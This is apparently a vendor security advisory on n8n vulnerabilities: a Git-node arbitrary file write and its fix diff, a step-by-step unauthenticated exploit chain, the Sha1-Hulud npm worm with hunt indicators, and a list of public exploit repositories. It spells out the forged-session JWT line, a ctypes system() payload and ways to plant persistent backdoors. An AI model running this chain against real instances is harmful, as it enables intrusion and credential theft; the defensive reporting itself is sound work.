Root Cause Analysis

The Git node wraps simple-git and exposes several operations against a repository - clone, pull, push, commit, and others - at a user-supplied repositoryPath. Whatever operation runs, simple-git’s working directory (baseDir) is set directly to that path:

1
2
3
4
const gitOptions: Partial<SimpleGitOptions> = {
	baseDir: repositoryPath,
	config: gitConfig,
};

For the clone operation specifically, the node takes a second parameter, sourceRepository - the URL of the repository to pull down - and, at the time of the vulnerability, cloned it straight into that working directory with no check on either value:

1
2
3
4
5
6
7
8
9
} else if (operation === 'clone') {
	// ----------------------------------
	//         clone
	// ----------------------------------

	let sourceRepository = this.getNodeParameter('sourceRepository', itemIndex, '') as string;
	sourceRepository = await prepareRepository(sourceRepository);

	await git.clone(sourceRepository, '.');

The node passed both straight into simple-git with no check on either value. sourceRepository can be any Git repository the attacker owns - a public GitHub repo they set up for the attack, containing exactly the files they want - and repositoryPath can be any writable location on the n8n host; git.clone() will even create the directory if it doesn’t exist. The attacker controls both the destination and the content of the write. Clone a repository containing a poisoned package.json into a directory n8n later runs npm install in, and its postinstall script runs on the next install; clone a malicious .js file over something under node_modules or a custom-nodes directory that n8n requires, and it runs the next time that module loads; clone over a startup script or systemd unit, and it runs on the next restart.

n8n’s fix, 1.121.3 (commit f4b009d), adds isFilePathBlocked to the node-helper interface and its implementation, then calls it against repositoryPath before any Git operation runs - closing the destination side of the write regardless of what sourceRepository contains:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
diff --git a/packages/core/src/execution-engine/node-execution-context/utils/file-system-helper-functions.ts b/packages/core/src/execution-engine/node-execution-context/utils/file-system-helper-functions.ts
index 03cc0437f06d..97e4472183d9 100644
--- a/packages/core/src/execution-engine/node-execution-context/utils/file-system-helper-functions.ts
+++ b/packages/core/src/execution-engine/node-execution-context/utils/file-system-helper-functions.ts
@@ -99,6 +99,8 @@ export const getFileSystemHelperFunctions = (node: INode): FileSystemHelperFunct
 		}
 		return await fsWriteFile(filePath, content, { encoding: 'binary', flag });
 	},
+
+	isFilePathBlocked,
 });
 
 /**
diff --git a/packages/nodes-base/nodes/Git/Git.node.ts b/packages/nodes-base/nodes/Git/Git.node.ts
index 8017010a18a5..ac722bc0b8dd 100644
--- a/packages/nodes-base/nodes/Git/Git.node.ts
+++ b/packages/nodes-base/nodes/Git/Git.node.ts
@@ -5,7 +5,12 @@ import type {
 	INodeType,
 	INodeTypeDescription,
 } from 'n8n-workflow';
-import { NodeConnectionTypes, assertParamIsBoolean, assertParamIsString } from 'n8n-workflow';
+import {
+	NodeConnectionTypes,
+	NodeOperationError,
+	assertParamIsBoolean,
+	assertParamIsString,
+} from 'n8n-workflow';
 import type { LogOptions, SimpleGit, SimpleGitOptions } from 'simple-git';
 import simpleGit from 'simple-git';
 import { URL } from 'url';
@@ -282,6 +287,14 @@ export class Git implements INodeType {
 		for (let itemIndex = 0; itemIndex < items.length; itemIndex++) {
 			try {
 				const repositoryPath = this.getNodeParameter('repositoryPath', itemIndex, '') as string;
+				const isFilePathBlocked = await this.helpers.isFilePathBlocked(repositoryPath);
+				if (isFilePathBlocked) {
+					throw new NodeOperationError(
+						this.getNode(),
+						'Access to the repository path is not allowed',
+					);
+				}
+
 				const options = this.getNodeParameter('options', itemIndex, {});
 
 				if (operation === 'clone') {
diff --git a/packages/workflow/src/interfaces.ts b/packages/workflow/src/interfaces.ts
index bf81e4a4bdd3..e11e41796a67 100644
--- a/packages/workflow/src/interfaces.ts
+++ b/packages/workflow/src/interfaces.ts
@@ -693,6 +693,7 @@ export interface BaseHelperFunctions {
 }
 
 export interface FileSystemHelperFunctions {
+	isFilePathBlocked(filePath: string): Promise<boolean>;
 	createReadStream(path: PathLike): Promise<Readable>;
 	getStoragePath(): string;
 	writeContentToFile(

The commit adds isFilePathBlocked to the FileSystemHelperFunctions interface every node’s this.helpers exposes, wires it to a concrete implementation, and calls it from the Git node - the only caller it adds.

An attacker who has already forged an n8n-auth session through Ni8mare needs no separate credentials for this bug: that session creates and executes the malicious workflow the same way an authenticated user would. Expression injection reaches command output faster: a Set node holding a malicious expression runs synchronously and returns its output in the same execution, while a Git clone only writes a file that still needs a separate trigger to run - the next npm install, the next time a required module gets loaded fresh, the next service restart. A forged Ni8mare session already carries full admin rights, well beyond what this bug needs, and that same session reaches expression injection just as easily, getting to command output in one round trip. Chaining Ni8mare with this bug instead trades speed for persistence: it plants a backdoor that survives a restart, through a version window (0.123.0-1.120.x) where expression injection may already be patched but the Git node is not. We have not seen a public PoC that automates this pairing; the mechanism above follows directly from how each bug works on its own.

Recommendations

  • Patch to 1.121.3+ (2.3.0+ recommended).
  • Restrict who can create and edit workflows; this needs only a low-privileged account.
  • Until patched, disable the Git node (see Mitigations).

The Exploit Chain

Three of the four bugs require an authenticated account. Ni8mare’s unauthenticated file read recovers the config signing secret, the secret forges an admin session, and the session unlocks those three - most directly expression injection, since both are network-reachable and need no user interaction. The result: an unauthenticated, zero-click path from an exposed webhook to command execution.

In practice, the public Chocapikk PoC runs the full chain as five requests against an exposed instance:

  1. POST /form/<form-path> with the LFI body targeting /proc/self/environ to recover HOME, then {HOME}/.n8n/config to recover encryptionKey, then {HOME}/.n8n/database.sqlite to recover the admin row (bodies shown in Ni8mare).
  2. Locally, forge the n8n-auth cookie: jwt.encode({"id": uid, "hash": h}, secret, algorithm="HS256"), using the secret and hash derived from step 1 (algorithm in Ni8mare).
  3. POST /rest/workflows with that cookie, creating a manualTrigger -> Set node workflow whose string value is the expression-injection payload (shown in Expression Injection).
  4. POST /rest/workflows/{id}/run, then GET /rest/executions/{id} to read the command output.
  5. DELETE /rest/workflows/{id} to remove the workflow.

No password is guessed, no user interacts with anything, and the whole sequence runs in well under a second on a responsive instance.

Closing Ni8mare (1.121.0+) breaks the unauthenticated entry at step 1; 2.3.0 closes every remaining path, including N8scape’s. Because this PoC automates the whole five-step sequence, an exposed, unpatched instance should be treated as remotely compromisable regardless of whether login is enabled.

N8scape offers a second option at step 3: a forged Ni8mare session creates a workflow with a Python Code Node holding the ctypes payload (ctypes.CDLL(None).system(b'<command>')), runs it through the same REST API sequence, and reads the output from the execution record. libc.system() executes synchronously inside the workflow run, exactly like the Set-node expression payload does, so swapping it in for step 3 changes nothing about the rest of the chain’s timing. The pairing’s live window matches the primary chain exactly too, since it depends only on Ni8mare’s own fix (1.121.0) - N8scape’s own fix lands much later, at 2.3.0. See N8scape for the full mechanism.

Git-node write is a third option at step 3. This path is slower and unverified against any public PoC, but it stays viable in the version window where both bugs are unpatched. See Git Node RCE for the full mechanism.


MITRE ATT&CK Mapping

TechniqueIDDescription
Exploit Public-Facing ApplicationT1190Ni8mare exploits exposed webhook and form endpoints
Unsecured CredentialsT1552Credentials and signing secret read from the n8n database and config
Valid AccountsT1078Forged admin session from the recovered signing secret
Command and Scripting InterpreterT1059RCE via expression injection, the Git-node write, or N8scape
Supply Chain CompromiseT1195Sha1-Hulud trojanized npm packages

Supply Chain Attack: Sha1-Hulud

A separate campaign, the Sha1-Hulud: The Second Coming npm worm, compromised hundreds of npm packages including several n8n community nodes. It began in November 2025 and self-propagates through GitHub. A victim outside n8n was Trust Wallet (an estimated $8.5M cryptocurrency loss, December 2025).

Trojanized n8n Packages

Identified via OSV (Google Open Source Security, GHSA Malware, Amazon Inspector). Remove immediately if present:

PackageMalicious VersionDetection Date
n8n-nodes-phoai-ultimate-tools32 versions (1.3.0 - 1.8.1)2025-11-26
n8n-nodes-vercel-ai-sdk0.1.72025-11-26
@hapheus/n8n-nodes-pgp1.5.12025-11-26
n8n-nodes-tmdb0.5.12025-11-26
n8n-nodes-viral-app0.2.52025-11-26
n8n-nodes-performance-metricsall2026-01-07
n8n-performance-metricsall2026-01-07

Worm Behavior

  1. A malicious preinstall script runs before any security scan.
  2. Drops setup_bun.js to install the Bun runtime if absent.
  3. An obfuscated bun_environment.js scans for npm tokens, GitHub PATs, AWS/GCP/Azure credentials, and SSH keys.
  4. Publishes stolen secrets to public repos described “Sha1-Hulud: The Second Coming”.
  5. Creates a self-hosted GitHub runner named SHA1HULUD and injects .github/workflows/discussion.yaml with command injection.
  6. Publishes malicious versions of packages owned by the victim.

Indicators and Hunt Queries

1
2
3
node_modules/**/setup_bun.js
node_modules/**/bun_environment.js
~/.dev-env/
  • Self-hosted GitHub runner named SHA1HULUD
  • Malicious workflow .github/workflows/discussion.yaml
  • Repository description containing "Sha1-Hulud: The Second Coming"

GitHub search: "Sha1-Hulud: The Second Coming" in:description and filename:discussion.yaml path:.github/workflows.

MITRE ATT&CK (Sha1-Hulud)

TechniqueIDDescription
Supply Chain CompromiseT1195Trojanized npm packages
Command and Scripting Interpreter: JavaScriptT1059.007Pre-install script execution
Credentials from Password StoresT1555Harvests npm tokens, GitHub PATs, cloud keys
Ingress Tool TransferT1105Downloads the Bun runtime and payloads
Valid Accounts: Cloud AccountsT1078.004Uses stolen credentials for persistence
Exfiltration to Code RepositoryT1567.001Publishes stolen secrets to GitHub

Threat Activity

Exploitation Status

A public proof of concept chains Ni8mare with expression injection into an unauthenticated RCE, published within two days of disclosure. Baysec honeypots record scanning against port 5678. Unpatched internet-facing instances should be treated as at risk.

Internet Exposure

SourceCountDateScope
Censys103,4762025-12-22Potentially vulnerable to CVE-2025-68613
Shodan71,1182026-01-08Instances exposing the n8n banner
Cyera~100,0002026-01Global estimate for Ni8mare
Censys (post-disclosure)26,5122026-01-08Reduced after the patching wave

Top countries: United States (7,079), Germany (4,280), France (2,655), Brazil (1,347), Singapore (1,129). Top cloud providers: AWS, Google Cloud, Hetzner.

Ransomware

No ransomware victims have been linked to these n8n CVEs. We continue to monitor.


References

Official Advisories

Discovery Research

Active Exploitation and Supply Chain

Data Sources

  • Baysec CTI Platform: vulnerability intelligence, Sha1-Hulud package identification, MITRE ATT&CK mapping.
  • Baysec Vulnripper: n8n CVE inventory, patch tracking, affected-version analysis.
  • External sources: Shodan, Censys, Shodan CVEDB.

Public PoCs

Warning: Verify any PoC before running it. Threat actors distribute malware through fake exploit repositories, targeting researchers with lures for recent CVEs. In December 2025 we observed campaigns distributing Webrat RAT through weaponised PoC repos. Review code manually, run in isolated environments, and cross-reference with trusted sources. See our December 2025 Threats Summary. This list reflects the public PoCs we tracked as of 08.01.2026; repositories change, so re-check before use.

RepositoryCVEDescriptionLanguage
Chocapikk/CVE-2026-21858CVE-2026-21858Ni8mare unauthenticated file read to RCE chainPython
Ashwesker/Ashwesker-CVE-2026-21858CVE-2026-21858Alternative Ni8mare exploit-
eduardorossi84/CVE-2026-21858-POCCVE-2026-21858Ni8mare PoC-
AbdulRKB/n8n-RCECVE-2026-21858n8n RCE exploitPython
wioui/n8n-CVE-2025-68613-exploitCVE-2025-68613RCE exploit and scannerPython
rxerium/CVE-2025-68613CVE-2025-68613Detection templates and exposure analysis-
Ashwesker/Ashwesker-CVE-2025-68613CVE-2025-68613Expression injection exploit-
TheStingR/CVE-2025-68613-POCCVE-2025-68613Expression injection PoC and scannerPython
LingerANR/n8n-CVE-2025-68613CVE-2025-68613Lab to reproduce the vulnerabilityPython
hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-UltimateCVE-2025-68613RCE exploitPython
mbanyamer/n8n-Authenticated-Expression-Injection-RCE-CVE-2025-68613CVE-2025-68613Authenticated RCE PoCShell
manyaigdtuw/CVE-2025-68613_ScannerCVE-2025-68613GUI Shodan-powered scannerPython
Shisui6/CVE-2025-68613CVE-2025-68613Expression injection PoCPython
DarkTigerET/CVE-2025-68613CVE-2025-68613Alternative exploit implementation-
imjdl/CVE-2025-68613-EXPCVE-2025-68613RCE exploit toolPython
Trickest CVE-2025-55526CVE-2025-55526Directory traversal exploit metadata-
gelusus/wxvl - CVE-2025-68668CVE-2025-68668ctypes FFI sandbox bypass, first public write-upPython

Baysec Vulnripper

Baysec Vulnripper is our offline-first vulnerability intelligence tool for self-hosted infrastructure. It inventories your assets, flags known-vulnerable versions - the kind of exposed, outdated n8n instances counted above - and enriches findings from Baysec CTI. To check whether your environment is exposed, contact kontakt@baysec.eu or visit baysec.eu.